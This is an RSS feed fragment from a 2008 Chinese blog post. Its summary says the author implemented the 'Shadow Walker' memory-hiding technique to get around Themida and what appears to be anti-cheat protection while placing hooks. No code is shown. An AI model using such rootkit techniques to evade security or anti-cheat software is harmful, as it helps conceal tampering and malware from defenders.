GMT</pubDate><guid>http://www.cnitblog.com/cc682/articles/43260.html</guid><wfw:comment>http://www.cnitblog.com/cc682/comments/43260.html</wfw:comment><comments>http://www.cnitblog.com/cc682/articles/43260.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cc682/comments/commentRss/43260.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cc682/services/trackbacks/43260.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;NetRoc/cc682最早看到Shadow Walker这种隐藏内存数据的技术的时间忘了，呵呵。大约是一年多或者两年以前吧。当时还只是提出了理论性的东西，没有人实现出来。前段时间搞NP玩的时候，对Themida和虚拟机深恶痛绝，遂想，干脆把内存数据隐藏得了，省得挂个钩子还得缩手缩脚，找个一劳永逸的办法。于是google了一把网上的代码，自己也花了几天时间实现了一下。虽然不太完...&nbsp;&nbsp;<a href='http://www.cnitblog.com/cc682/articles/43260.html'>阅读全文</a><img src ="http://www.cnitblog.com/cc682/aggbug/43260.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cc682/" target="_blank">NetRoc</a> 2008-05-04 14:56 <a href="http://www.cnitblog.com/cc682/articles/43260.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>